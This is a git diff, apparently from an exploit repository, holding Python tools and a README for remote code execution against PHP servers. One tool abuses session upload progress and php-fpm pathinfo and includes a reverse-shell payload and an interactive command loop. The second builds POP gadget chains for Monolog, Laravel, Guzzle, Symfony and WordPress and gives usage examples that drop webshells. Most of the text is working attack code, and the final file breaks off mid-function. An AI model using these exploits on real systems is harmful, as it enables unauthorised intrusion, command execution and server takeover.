--------------------------------------------------------------------------- - -def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20, - drip=0.01, result=None): - boundary = b"----NOLFI" + os.urandom(6).hex().encode() - head = ( - b"--" + boundary + b"\r\n" - b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n' - b"\r\n" + php_code + b"\r\n" - b"--" + boundary + b"\r\n" - b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' - b"Content-Type: application/octet-stream\r\n\r\n" - ) - tail = b"\r\n--" + boundary + b"--\r\n" - total = len(head) + fill + len(tail) - - try: - sock = _connect(host, port, tls, timeout=60) - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n" - b"Content-Length: " + str(total).encode() + b"\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" + head - ) - block = b"\x00" * 65000 - for _ in range(fill // len(block)): - sock.sendall(block) - time.sleep(drip) - sock.sendall(tail) - _recv_response(sock, timeout=5) - sock.close() - except OSError as e: - if result is not None: - result["error"] = str(e) - - -def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000, - fsize=512, result=None): - """CVE-2026-109618 OOM variant: progress + file part + field flood. - - The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never - runs and the poisoned session file persists. Requires the OOM body - to fit under post_max_size while exceeding memory_limit headroom. - """ - boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode() - - def field(name, value): - return (b"--" + boundary + b"\r\n" - b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n' - + value + b"\r\n") - - def file_part(): - return (b"--" + boundary + b"\r\n" - b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' - b"Content-Type: application/octet-stream\r\n\r\n" - + b"\x00" * 2048 + b"\r\n") - - def chunk(sock, data): - sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n") - - sent = 0 - try: - sock = _connect(host, port, tls, timeout=60) - sock.sendall( - b"POST " + path.encode() + b" HTTP/1.1\r\n" - b"Host: " + host.encode() + b"\r\n" - b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n" - b"Transfer-Encoding: chunked\r\n" - b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" - b"Connection: close\r\n\r\n" - ) - chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code)) - chunk(sock, file_part()) - batch = b"" - for i in range(fields): - batch += field(f"p{i:06d}".encode(), b"X" * fsize) - if len(batch) >= 256 * 1024: - chunk(sock, batch) - sent = i - batch = b"" - if batch: - chunk(sock, batch) - try: - sock.sendall(b"0\r\n\r\n") - _recv_response(sock, timeout=8) - except OSError: - pass - sock.close() - except OSError as e: - if result is not None: - result["error"] = str(e) - if result is not None: - result["fields_sent"] = sent - - -# --------------------------------------------------------------------------- -# Payloads -# --------------------------------------------------------------------------- - -def cmd_payload(): - return f''.encode() - - -def reverse_shell_payload(lhost, lport): - code = ( - f'$s=fsockopen("{lhost}",{lport});' - f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);' - ) - return f''.encode() - - -# --------------------------------------------------------------------------- -# Chain: poison -> probe served dir -> pathinfo execution -# --------------------------------------------------------------------------- - -def attempt_prefix(host, port, tls, path, url_prefix, php_code, window, - fill=1 << 25, verbose=True, oom=False, fields=30000, - fsize=512): - """One attempt against one URL prefix. Returns - ("rce", sid, url, text) | ("served", sid, url, None) | None.""" - sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \ - os.urandom(12).hex() - sess_url = f"{url_prefix}/sess_{sid}" - cookie = f"PHPSESSID={sid}" - exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml") - - if oom: - result = {} - if verbose: - print(f" [*] OOM poisoning {sess_url} ...") - oom_poison_upload(host, port, tls, path, sid, php_code, - fields=fields, fsize=fsize, result=result) - time.sleep(1.0) - saw_static = False - try: - status, body = _get(host, port, tls, sess_url, cookie=None, - timeout=5) - if status == 200 and b"upload_progress_" in body: - saw_static = True - if verbose: - print(f" [+] {sess_url} web-served, file persisted " - f"(OOM bailout skipped cleanup)") - except OSError: - pass - if saw_static: - for path_info in exec_vectors: - try: - status, body = _get(host, port, tls, sess_url + path_info, - timeout=6) - text = body.decode(errors="replace") - if MARKER in text: - return ("rce", sid, sess_url + path_info, text) - except OSError: - continue - return ("served", sid, sess_url, None) - if verbose and result.get("error"): - print(f" [!] upload error: {result['error']}") - return None - - result = {} - t = threading.Thread(target=slow_poison_upload, - args=(host, port, tls, path, sid, php_code), - kwargs={"result": result, "fill": fill}, daemon=True) - t.start() - time.sleep(0.5) - - deadline = time.time() + window - saw_static = False - exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml") - while time.time() < deadline: - # execution vectors first, raced against the (possibly tiny) window - for path_info in exec_vectors: - try: - status, body = _get(host, port, tls, sess_url + path_info, - timeout=3) - text = body.decode(errors="replace") - if MARKER in text: - return ("rce", sid, sess_url + path_info, text) - except OSError: - continue - # static: served-dir detection (source disclosure of the session file) - try: - status, body = _get(host, port, tls, sess_url, cookie=None, - timeout=3) - if status == 200 and b"upload_progress_" in body: - saw_static = True - if verbose: - print(f" [+] {sess_url} is web-served " - f"(session file source disclosed)") - break - except OSError: - pass - time.sleep(0.005) - - t.join(timeout=3) - - # post-window calm checks: streaming stacks with cleanup=0 keep the file - try: - status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3) - if status == 200 and b"upload_progress_" in body: - saw_static = True - if verbose: - print(f" [+] {sess_url} is web-served (file persisted " - f"after upload: cleanup=0)") - except OSError: - pass - - if saw_static: - for path_info in exec_vectors: - try: - status, body = _get(host, port, tls, sess_url + path_info, - timeout=4) - text = body.decode(errors="replace") - if MARKER in text: - return ("rce", sid, sess_url + path_info, text) - except OSError: - continue - - if saw_static: - return ("served", sid, sess_url, None) - return None - - -def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False, - fields=30000, fsize=512): - """Re-poison the same SID and execute a command during the window.""" - sess_url = f"{url_prefix}/sess_{sid}" - payload = f''.encode() - hit = {} - lock = threading.Lock() - - def poll(pi): - while True: - if stop.is_set(): - return - try: - status, body = _get(host, port, tls, - sess_url + pi + "?c=" + cmd.replace(" ", "+"), - timeout=6) - text = body.decode(errors="replace") - if MARKER in text: - with lock: - if "out" not in hit: - out = text.split(MARKER + ":", 1)[1] - hit["out"] = out.split( - '|a:5:{s:10:"start_time"', 1)[0] - stop.set() - return - except OSError: - continue - - if oom: - result = {} - oom_poison_upload(host, port, tls, path, sid, payload, - fields=fields, fsize=fsize, result=result) - stop = threading.Event() - threads = [threading.Thread(target=poll, args=(pi,), daemon=True) - for pi in ("/x.php", "/index.php")] - for th in threads: - th.start() - for th in threads: - th.join(timeout=10) - return hit.get("out") - - result = {} - for cycle in range(3 if not oom else 1): - t = threading.Thread(target=slow_poison_upload, - args=(host, port, tls, path, sid, payload), - kwargs={"result": result}, daemon=True) - t.start() - time.sleep(0.3) - stop = threading.Event() - threads = [threading.Thread(target=poll, args=(pi,), daemon=True) - for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")] - for th in threads: - th.start() - grace = None - while True: - if stop.is_set(): - break - if not t.is_alive(): - if grace is None: - grace = time.time() + 1.5 - elif time.time() > grace: - break - time.sleep(0.002) - stop.set() - for th in threads: - th.join(timeout=3) - if "out" in hit: - return hit["out"] - return None - - -# --------------------------------------------------------------------------- -# Main -# --------------------------------------------------------------------------- - -def main(): - p = argparse.ArgumentParser( - description="CVE-2026-109618/109619: RCE without LFI " - "(web-served session.save_path + php-fpm pathinfo)", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -Examples: - %(prog)s -t http://target/ --probe - %(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' - %(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444 - %(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20 -""") - p.add_argument("--target", "-t", required=True, - help="Target base URL (any PHP-handled URL on the vhost, " - "404 is fine)") - p.add_argument("--url-prefix", default="", - help="URL prefix that serves session.save_path " - "(e.g. /sessions). Probes defaults if omitted") - p.add_argument("--cmd", help="Command to execute") - p.add_argument("--lhost", help="Listener IP for reverse shell") - p.add_argument("--lport", type=int, help="Listener port for reverse shell") - p.add_argument("--window", type=float, default=12.0, - help="Upload race window in seconds (default 12)") - p.add_argument("--fill", type=int, default=6, help="Upload filler size " - "in MB; must stay under the target post_max_size (default " - "6MB, PHP default post_max_size is 8M)") - p.add_argument("--probe", action="store_true", - help="Only classify the target, do not attack") - p.add_argument("--oom", action="store_true", - help="Use the CVE-2026-109618 OOM bailout for " - "persistence instead of racing the upload window " - "(requires post_max_size > OOM volume and memory " - "headroom)") - p.add_argument("--fields", type=int, default=30000, - help="OOM pressure fields (default 30000)") - p.add_argument("--fsize", type=int, default=512, - help="OOM field size in bytes (default 512)") - p.add_argument("--attempts", type=int, default=3) - args = p.parse_args() - - host, port, tls, path = _parse_url(args.target) - scheme = "https" if tls else "http" - - print(f"[*] RCE without LFI — served save_path + fpm pathinfo") - print(f"[*] Target: {args.target}") - - prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES) - fill = args.fill * (1 << 20) - if args.probe: - php_code = cmd_payload() - print(f"[*] Probing {len(prefixes)} candidate URL prefixes " - f"(web-served session dir detection)") - for prefix in prefixes: - r = attempt_prefix(host, port, tls, path, prefix, php_code, - window=args.window, fill=fill, verbose=True, - oom=args.oom, fields=args.fields, - fsize=args.fsize) - if r is None: - print(f" [-] {prefix}: not served") - else: - kind, sid, url, text = r - if kind == "rce": - print(f" [++] {prefix}: EXECUTABLE — {url}") - else: - print(f" [+] {prefix}: served, not executable " - f"(limit_extensions default or non-fpm engine)") - return - - if not args.cmd and not (args.lhost and args.lport): - print("[!] Specify --probe, --cmd, or --lhost/--lport") - sys.exit(1) - - php_code = (cmd_payload() if args.cmd - else reverse_shell_payload(args.lhost, args.lport)) - if args.oom: - print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B " - f"fields)") - else: - print(f"[*] Race window: {args.window}s per prefix, " - f"{len(prefixes)} prefixes") - - for attempt in range(1, args.attempts + 1): - for prefix in prefixes: - print(f"[*] Attempt {attempt}/{args.attempts} " - f"against {prefix} ...") - r = attempt_prefix(host, port, tls, path, prefix, php_code, - window=args.window, fill=fill, verbose=True, - oom=args.oom, fields=args.fields, - fsize=args.fsize) - if r is None: - continue - kind, sid, url, text = r - if kind == "rce": - print(f"\n[+] RCE CONFIRMED (no LFI): {url}") - if args.cmd: - out = run_cmd(host, port, tls, path, prefix, sid, - args.cmd, oom=args.oom, fields=args.fields, - fsize=args.fsize) - print(f"[+] {args.cmd}\n{out}" if out is not None - else "[!] exec failed (race lost, retry)") - else: - print(f"[*] Reverse shell payload executed — check " - f"listener on {args.lhost}:{args.lport}") - while True: - try: - c = input("shell> ").strip() - except EOFError: - break - if not c: - continue - out = run_cmd(host, port, tls, path, prefix, sid, c, - oom=args.oom, fields=args.fields, - fsize=args.fsize) - print(out if out is not None else "[!] exec failed") - return - print(f" [+] {prefix}: served but not executable " - f"(session source disclosure only)") - print("[!] No executable prefix found. Precondition likely missing: " - "save_path not web-served, or security.limit_extensions is set.") - - -if __name__ == "__main__": - main() diff --git a/uaf-rce/rce_exploit.py b/rce_exploit.py similarity index 100% rename from uaf-rce/rce_exploit.py rename to rce_exploit.py diff --git a/session-deser/.gitignore b/session-deser/.gitignore deleted file mode 100644 index 1ecb968..0000000 --- a/session-deser/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -vendor/ -__pycache__/ -composer.lock diff --git a/session-deser/README.md b/session-deser/README.md deleted file mode 100644 index 1a5e7b3..0000000 --- a/session-deser/README.md +++ /dev/null @@ -1,237 +0,0 @@ -# Session Deserialization RCE via Handler Mismatch - -Remote code execution through PHP's `session.serialize_handler` mismatch. -No LFI required. No FPM dependency. Works on any SAPI. - -## How It Works - -PHP supports multiple session serialization formats. The two relevant ones: - -- `php` (the default): stores session data as `key|serialized_value` -- `php_serialize`: stores session data as a single `serialize()`d array - -When one endpoint writes session data using `php_serialize` and another -reads it using the `php` handler, the pipe character `|` inside a -serialized string is misinterpreted as a key/value delimiter. This causes -PHP to call `unserialize()` on attacker-controlled data when -`session_start()` runs on the second endpoint. - -### Attack flow - -``` -1. Attacker POSTs to endpoint A (php_serialize handler): - data = |O:28:"Monolog\Handler\GroupHandler":1:{...} - -2. PHP stores this in the session file as: - a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";} - -3. Attacker GETs endpoint B (php handler) with the same session ID. - session_start() reads the file and splits on |: - key = a:1:{s:4:"data";s:550:" - value = O:28:"Monolog\Handler\GroupHandler":1:{...} - PHP calls unserialize() on the value. - -4. The deserialized object's __destruct method fires, - triggering the POP gadget chain for RCE. -``` - -### What makes a target vulnerable - -The exploit requires ALL of the following: - -1. **Two endpoints with different session serialize handlers.** One must use - `php_serialize`, the other must use the default `php`. PHP's own default - is `php` for both, so this mismatch only occurs when a framework or - application explicitly changes the handler for some endpoints. - -2. **Shared session storage.** Both endpoints must read/write the same - session files (same `session.save_path`). This is the default when - both run under the same PHP installation. - -3. **A POP gadget chain in autoloaded classes.** The deserialized objects - must exist in classes that PHP has loaded (via autoloader or require). - The chain must reach a dangerous sink (system(), file_put_contents(), etc.) - through magic methods (__destruct, __wakeup, __toString, etc.). - -### Where this mismatch occurs in practice - -- **Laravel** sets `session.serialize_handler = php_serialize` in its - session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin, - admin scripts, health checks, legacy code) uses the PHP default `php`. - -- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent - applications on the same server may not. - -- **Shared hosting** where multiple PHP applications share the same session - save path but use different frameworks. - -- **Mixed codebases** where old and new code coexist on the same domain, - with the new code using a framework and the old code using raw PHP sessions. - -A single-application deployment where every endpoint uses the same handler -is NOT vulnerable to this attack. - -## Injection Modes - -### inject (primary) - -The target has an endpoint that stores POST data into `$_SESSION` using -the `php_serialize` handler. The attacker sends `|` as -a POST value. A second request to a `php`-handler endpoint triggers -deserialization. - -```bash -python3 exploit.py --inject-url http://target/save.php \ - --inject-param data \ - --trigger-url http://target/view.php \ - --chain laravel10-cmd --cmd 'id' -``` - -### progress (no app session storage needed) - -Uses `session.upload_progress` to inject the `|` character via the upload -filename field. No application-level session writing needed. Combined with -the OOM crash from CVE-2026-109618 to persist past cleanup. - -Limitation: multipart filenames cannot contain NULL bytes, so the POP chain -can only use public properties (no protected/private property serialization). - -```bash -python3 exploit.py --mode progress \ - --write-url http://target/any.php \ - --trigger-url http://target/default.php \ - --chain wordpress-cmd --cmd 'id' -``` - -## Built-in POP Chains - -Each chain is tested end-to-end through the full HTTP exploit flow -on PHP 8.3 against the listed library version. - -### Current versions (work on latest releases) - -| Chain | Library | Tested on | Type | Description | -|---|---|---|---|---| -| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents | -| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() | -| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") | - -### Legacy versions - -| Chain | Library | Tested on | Type | Description | -|---|---|---|---|---| -| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() | -| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") | -| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() | -| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") | -| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) | -| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") | -| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") | -| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) | -| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") | - -### Why some chains have version ceilings - -- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x - RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties. - The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead. - -- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners - in `createClassListener()`, which calls `$this->container->make()` on a null - container. The RCE22 chain routes through `league/commonmark` `Environment` - instead. - -- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws - `LogicException` on deserialization. - -- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws - `BadMethodCallException`. - -- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws - `LogicException`. All other WP core gadget classes (`FilteredIterator`, - `Requests\Hooks`) are also patched. No known POP chain exists in WordPress - 7.x core. - -### Custom chains - -Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output -and base64 (auto-detected). - -```bash -phpggc Monolog/RCE1 system id > chain.bin -python3 exploit.py --inject-url http://target/save.php \ - --inject-param data \ - --trigger-url http://target/view.php \ - --chain-file chain.bin - -# Or base64: -phpggc Laravel/RCE22 system id -b > chain.b64 -python3 exploit.py ... --chain-file chain.b64 -``` - -## Usage - -```bash -# File write webshell (Monolog 3.x, current): -python3 exploit.py --inject-url http://target/save.php \ - --inject-param data \ - --trigger-url http://target/view.php \ - --chain monolog3-fw \ - --write-path /var/www/html/shell.php - -# Direct command execution (Laravel 10+, current): -python3 exploit.py --inject-url http://target/save.php \ - --inject-param data \ - --trigger-url http://target/view.php \ - --chain laravel10-cmd --cmd 'id' - -# Custom shell code: -python3 exploit.py ... --chain monolog3-fw \ - --write-path /var/www/html/s.php \ - --shell-code '' - -# Progress mode (no POST-to-session endpoint needed): -python3 exploit.py --mode progress \ - --write-url http://target/any_endpoint.php \ - --trigger-url http://target/default_handler.php \ - --chain wordpress-cmd --cmd 'id' -``` - -## Options - -``` ---mode {inject,progress} Injection mode (default: inject) ---inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize) ---inject-param PARAM POST parameter stored in $_SESSION (default: data) ---write-url URL Any endpoint for progress mode injection ---trigger-url URL Endpoint using default php handler (triggers deserialization) ---chain CHAIN Built-in POP chain name ---chain-file FILE Custom serialized chain (phpggc output, raw or base64) ---write-path PATH File path for fw chains (webshell destination) ---shell-code CODE Custom PHP code for fw chains ---cmd CMD Command for cmd chains ---fields N OOM pressure fields for progress mode (default: 30000) ---field-size N Bytes per OOM field (default: 512) -``` - -## Test Environment - -The test endpoints used for verification: - -`test_serialize.php` (inject endpoint, uses php_serialize): -```php - $v) $_SESSION[$k] = $v; -``` - -`test_trigger.php` (trigger endpoint, uses default php handler): -```php - as - a POST value. A second request to a php-handler endpoint - triggers deserialization when session_start() reads the file. - - progress (no app involvement, limited chains) - Uses session.upload_progress to inject '|' via the upload - filename. No application session storage needed, but the - multipart parser truncates NULL bytes in filenames, so the - POP chain can only use public properties. Combined with - OOM crash (CVE-2026-109618) to persist past cleanup. - -Handler mismatch is common in the wild: - - Laravel sets php_serialize in its bootstrap; any non-Laravel - PHP on the same vhost (phpMyAdmin, admin scripts, legacy code) - uses the default php handler - - Symfony configures php_serialize; adjacent apps may not - - Mixed old/new codebases on shared hosting - -Requirements: - - session.upload_progress.enabled = 1 (default, for progress mode) - - Two endpoints with different session.serialize_handler settings - - A POP gadget chain in autoloaded classes - - session.save_handler = files (default) - -Built-in chains (--chain): - monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php - monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id' - monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php - laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id' - laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php - laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id' - laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php - guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php - symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id' - symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php - wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free) - wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php - -Custom chains (--chain-file): - phpggc Laravel/RCE1 system id > chain.bin - python3 exploit.py ... --chain-file chain.bin - -Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM. - -Usage: - # Inject mode (most practical): - python3 exploit.py --inject-url http://target/save.php \\ - --inject-param data \\ - --trigger-url http://target/view.php \\ - --chain monolog-fw \\ - --write-path /var/www/html/s.php - - # Inject mode with direct command execution: - python3 exploit.py --inject-url http://target/save.php \\ - --inject-param data \\ - --trigger-url http://target/view.php \\ - --chain monolog-cmd --cmd 'id' - - # Custom phpggc chain (raw or base64): - phpggc Monolog/RCE1 system id > chain.bin - python3 exploit.py --inject-url http://target/save.php \\ - --inject-param data \\ - --trigger-url http://target/view.php \\ - --chain-file chain.bin - - # Progress mode (no app session injection needed): - python3 exploit.py --mode progress \\ - --write-url http://target/serialize.php \\ - --trigger-url http://target/default.php \\ - --chain-file chain_pub.bin -""" - -import argparse -import base64 -import os -import re -import socket -import sys -import time -import urllib.parse -from urllib.parse import urlparse - -# ═══════════════════════════════════════════════════════════════════════ -# PHP serialization -# ═══════════════════════════════════════════════════════════════════════ - -def php_str(s): - if isinstance(s, str): - s = s.encode() - return b"s:" + str(len(s)).encode() + b':"' + s + b'";' - -def php_int(n): - return b"i:" + str(n).encode() + b";" - -def php_bool(v): - return b"b:" + (b"1" if v else b"0") + b";" - -def php_null(): - return b"N;" - -def php_arr(entries): - body = b"".join(k + v for k, v in entries) - return b"a:" + str(len(entries)).encode() + b":{" + body + b"}" - -def php_obj(cls, props): - body = b"".join(k + v for k, v in props) - cn = cls.encode() if isinstance(cls, str) else cls - return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":' - + str(len(props)).encode() + b":{" + body + b"}") - -def php_enum(cls, case): - label = f"{cls}:{case}" - return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";' - -def php_datetime_immutable(): - from datetime import datetime, timezone - now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000") - return php_obj("DateTimeImmutable", [ - (php_str("date"), php_str(now)), - (php_str("timezone_type"), php_int(3)), - (php_str("timezone"), php_str("UTC")), - ]) - -def prot(name): - n = name.encode() if isinstance(name, str) else name - return php_str(b"\x00*\x00" + n) - -def priv(cls, name): - c = cls.encode() if isinstance(cls, str) else cls - n = name.encode() if isinstance(name, str) else name - return php_str(b"\x00" + c + b"\x00" + n) - -# ═══════════════════════════════════════════════════════════════════════ -# POP gadget chains -# ═══════════════════════════════════════════════════════════════════════ - -def _rce1_chain(func, param): - """Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+). - - SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct) - -> close() - -> $this->socket->close() socket = BufferHandler - BufferHandler::close -> flush - -> $this->handler->handleBatch($this->buffer) handler = $this (self-ref) - AbstractHandler::handleBatch -> foreach handle($record) - BufferHandler::handle -> call_user_func($processor, $record) for each processor - processors[0] = 'current' -> current([$param, 'level'=>null]) = $param - processors[1] = $func -> $func($param) - """ - # r:2 is a PHP serialization back-reference to object #2, the BufferHandler - # itself. This creates the self-referencing handler=$this that phpggc uses. - # We build it by hand: emit SyslogUdpHandler wrapping BufferHandler, - # with handler pointing back to the BufferHandler via reference. - - record = php_arr([ - (php_int(0), php_str(param)), - (php_str("level"), php_null()), - ]) - - buf = php_obj("Monolog\\Handler\\BufferHandler", [ - (prot("handler"), b"r:2;"), # back-ref to self (object index 2) - (prot("bufferSize"), php_int(-1)), - (prot("buffer"), php_arr([(php_int(0), record)])), - (prot("level"), php_null()), - (prot("initialized"), php_bool(True)), - (prot("bufferLimit"), php_int(-1)), - (prot("processors"), php_arr([ - (php_int(0), php_str("current")), - (php_int(1), php_str(func)), - ])), - ]) - - return php_obj("Monolog\\Handler\\SyslogUdpHandler", [ - (prot("socket"), buf), - ]) - - -def chain_monolog_fw(write_path, shell_code): - """Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x). - - Uses the Monolog/RCE1 gadget to call system() with a printf command - that writes shell_code to write_path. - Requires monolog/monolog (production dep in Laravel, Symfony, etc.). - """ - escaped_code = shell_code.replace("'", "'\\''") - escaped_path = write_path.replace("'", "'\\''") - cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" - return _rce1_chain("system", cmd) - - -def chain_monolog_cmd(cmd): - """Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x). - - Uses the Monolog/RCE1 gadget to call system($cmd). - Requires monolog/monolog (production dep in Laravel, Symfony, etc.). - """ - return _rce1_chain("system", cmd) - - -def chain_monolog3_fw(write_path, shell_code): - """Monolog file write via DeduplicationHandler (3.0.0+, current). - - GroupHandler.__destruct (inherited from Handler) - -> close() - -> foreach $this->handlers: $handler->close() - DeduplicationHandler::close -> flush() - -> file_put_contents($this->deduplicationStore, $line, FILE_APPEND) - Written format: "timestamp:DEBUG:message\\n" - PHP ignores content before $this->events->dispatch($this->event) - Dispatcher::dispatch($event) - -> foreach $this->listeners[$event] as $listener: $listener($event) - -> system($cmd) - - $this->event = $cmd (the command string) - $this->listeners[$cmd] = ['system'] - - Requires illuminate/events + illuminate/broadcasting - (always present in Laravel). - """ - dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [ - (prot("listeners"), php_arr([ - (php_str(cmd), php_arr([ - (php_int(0), php_str("system")), - ])), - ])), - ]) - - return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [ - (prot("events"), dispatcher), - (prot("event"), php_str(cmd)), - ]) - - -def chain_laravel_fw(write_path, shell_code): - """Laravel file write via system() (5.4.0-8.6.9+). - - Same PendingBroadcast gadget, calls system() with a write command. - """ - escaped_code = shell_code.replace("'", "'\\''") - escaped_path = write_path.replace("'", "'\\''") - cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" - return chain_laravel_cmd(cmd) - - -def chain_laravel10_cmd(cmd): - """Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current). - - PendingBroadcast.__destruct - -> $this->events->dispatch($this->event) - Environment::dispatch($event) - -> foreach listenerData as prioritized listeners - -> ListenerData->listener is ChainedBatchTruthTest - ChainedBatchTruthTest::__invoke($event) - -> call_user_func($this->callback, $event) - -> system($cmd) - - Channel.__toString returns $this->name, so $event becomes the - command string when passed to system(). - - Requires illuminate/broadcasting + league/commonmark (both present - in all Laravel 10+ installations). - """ - env_cls = "League\\CommonMark\\Environment\\Environment" - list_cls = "League\\CommonMark\\Util\\PrioritizedList" - ld_cls = "League\\CommonMark\\Event\\ListenerData" - - truth_test = php_obj( - "Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [ - (prot("callback"), php_str("system")), - ]) - - listener_data = php_obj(ld_cls, [ - (priv(ld_cls, "event"), - php_str("\\Illuminate\\Broadcasting\\Channel")), - (priv(ld_cls, "listener"), truth_test), - ]) - - plist = php_obj(list_cls, [ - (priv(list_cls, "list"), php_arr([ - (php_int(0), php_arr([(php_int(0), listener_data)])), - ])), - ]) - - environment = php_obj(env_cls, [ - (priv(env_cls, "extensionsInitialized"), php_bool(True)), - (priv(env_cls, "listenerData"), plist), - ]) - - channel = php_obj("Illuminate\\Broadcasting\\Channel", [ - (php_str("name"), php_str(cmd)), - ]) - - return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [ - (prot("events"), environment), - (prot("event"), channel), - ]) - - -def chain_laravel10_fw(write_path, shell_code): - """Laravel file write via system() (10.0-13.x+, current). - - Same PendingBroadcast + CommonMark gadget, calls system() with a - write command. - """ - escaped_code = shell_code.replace("'", "'\\''") - escaped_path = write_path.replace("'", "'\\''") - cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" - return chain_laravel10_cmd(cmd) - - -def chain_guzzle_fw(write_path, data): - """Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0). - - FileCookieJar.__destruct -> save() - -> file_put_contents($this->filename, json_encode(...)) - Writes JSON-encoded cookie data. The 'Value' field holds the payload. - - The written file contains JSON wrapping around the payload. - PHP ignores everything before close -> foreach $this->fileHandles: fclose($h) - $fileHandles is a SortableIterator wrapping an ArrayObject: - SortableIterator implements IteratorAggregate - getIterator() calls usort($array, $this->sort) where sort='call_user_func' - usort compares elements via call_user_func($a, $b) - ArrayObject contains [$function, $parameter] - -> call_user_func('system', $cmd) - - Requires symfony/finder + symfony/process (present in all Symfony apps). - """ - arr = php_obj("ArrayObject", [ - (php_int(0), php_str(cmd)), - (php_int(1), php_str("system")), - ]) - - # ArrayObject serializes differently: uses C: format - # We need to use the C: custom serialization format for ArrayObject - # Use O: format (works for ArrayObject deserialization): - # i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null - # Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param) - arr = 